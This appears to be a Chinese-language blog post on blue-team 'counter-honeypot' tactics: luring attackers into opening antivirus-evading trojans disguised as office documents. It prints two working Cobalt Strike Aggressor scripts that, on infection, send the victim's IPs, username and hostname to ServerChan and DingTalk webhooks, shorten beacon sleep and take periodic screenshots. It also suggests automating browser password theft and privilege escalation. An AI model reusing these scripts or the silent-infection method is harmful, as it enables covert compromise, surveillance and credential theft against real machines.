前言
现阶段蓝队防守不单单进限制于传统的ip封禁以及高交互蜜罐的监控以及简单的身份溯源,红队攻击信息上报以及攻击方式多样化,包括参与攻击的人员不单单限制于上报人员,所以对于蓝队来讲溯源难度要匹配红队上报信息也是存在一定的难度,所以在攻防演练中蓝队的得分难度相对来说更难一点儿。
思路
高交互蜜罐在拖延攻击时间上来讲确实有一定的帮助,有助于写防守报告,这种在得分上来讲还是比较容易匹配到红队的"攻击成果"。
反制蜜罐的目的是拿攻击者的权限,那么目前只是单纯的要拿攻击队机器的数据,那么该数据信息获取途径或者说证明途径
- 截图,攻击机截图
- 攻击机浏览器存储账号密码
- 攻击机浏览器历史记录
免杀
没有免杀的马是没有意义的,另外仅仅存在免杀的木马也是没有意义的。早在今年年初我们团队其实就已经实现了,从免杀木马与文件无感知交互的功能,在上线难度来说,点击即可上线,点击后的效果就是文件满足任意文件类型,包括doc
、docx
、xlsx
等,对接高交互蜜罐系统,方便溯源报告,比如下面这种点击木马上线后无感知,攻击者看到的效果就是下图内容。
优势
对蓝队来讲,只需放饵
即可,对于红队来讲,在攻击手法上效果更好,无感知中毒。
题外话
对于钓鱼的弊端来讲腾讯、网易这些邮箱厂商,对于邮件的打标签
比较严重,批量成为难度,阈值的话自己测试。
上线提醒
对于蓝队来说,目前实现上线提醒,包括攻击机上线自动化执行是成为得分的重要环节。那么实现的思路,目前的话我们是从这几点出发
- 提醒的话可以根据日志来实现,CS木马上线之后log目录存在日志。可利用python脚本监控日志报警
- 插件提醒,利用CS插件提醒。微信或者其它攻击
webhook
这里主要说第二种方式
推荐一个插件
这个脚本中提供了,微信调用提醒,不过可以联动其它软件,比如说飞书或者钉钉等其它工具
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$url = 'https://sc.ftqq.com/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.send?text=CobaltStrike%20Online%20Reminder&desp=%0D%0A%0D%0AIP:'.$internalIP.'%0D%0A%0D%0AUserName:'.$userName.'%0D%0A%0D%0AHostName:'.$computerName;
http_get($url);
}
这里利用了方糖
的api,需付费使用,说实话能自己调试代码走钉钉的话,一个月8块省下了,交互方式如图
缺点就是花钱,数据经过第三方转发。不建议使用,非会员的测试数5条
使用需配置key
界面提醒如下
群发的话,接dding
效果如下:
当然参数的话自己选择,代码怎么改看自己心情。
小结
为什么说不建议使用,第一数据经第三方服务端,第二*糖的机制限定
| 单 IP 每天 API 最大请求次数 | 5000 |
| ---------------------------- | ---- |
| 单 UID 每天 API 最大请求次数 | 1000 |
Tricks
拓展一下,单独的提醒能满足一部分需求,但是解决不了蓝队或者红队最大的需求,那么如何实现自动化
需要考虑一下。有时间分享一下上线自动化功能,有兴趣的可以尝试以下自动化
,不单单指上线提醒自动化,还包含执行自动化,结合前面思路。
下面分享一个Ggoodstudy
师傅分享的自动化插件,可以直接调用第三方接口,接钉钉即可
#---AuthOr:Ggoodstudy---
$dt_bot_webhookURL = 'https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxxxxxxxxxxx';
$targetInfo_txt = " ----存在新上线主机----\n>";
$listener_txt = "监听:";
$externalIp_txt = " \n 公网IP:";
$internalIp_txt = " \n 内网IP:";
$computerName_txt = " \n 主机名:";
$userName_txt = " \n 当前用户:";
on beacon_initial {
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$listennerName = replace(beacon_info($1, "listener"), " ", "_");
#修改睡眠时间
bsleep($1, 10, 10);
$dt_msg = "{\"msgtype\": \"markdown\",\"markdown\": {\"title\":\"新主机上线\",\"text\":'.'\"'.$targetInfo_txt.$listener_txt.$listennerName.$externalIp_txt.$externalIP.$internalIp_txt.$internalIP.$computerName_txt.$computerName.$userName_txt.$userName.'\"'.'}}";
@curl_command = @('curl', '-H', 'Content-Type: application/json', '-d',$dt_msg,$dt_bot_webhookURL);
$process = exec(@curl_command);
binput($1, "printscreen");
bprintscreen($1);
#10s截图一次
sleep(10 * 1000);
bprintscreen($1);
}
所以其它的功能有兴趣的师傅可以尝试一下,比如说自动化爬取浏览器存储账号密码以及自动化提权做定时任务,完全是可行的。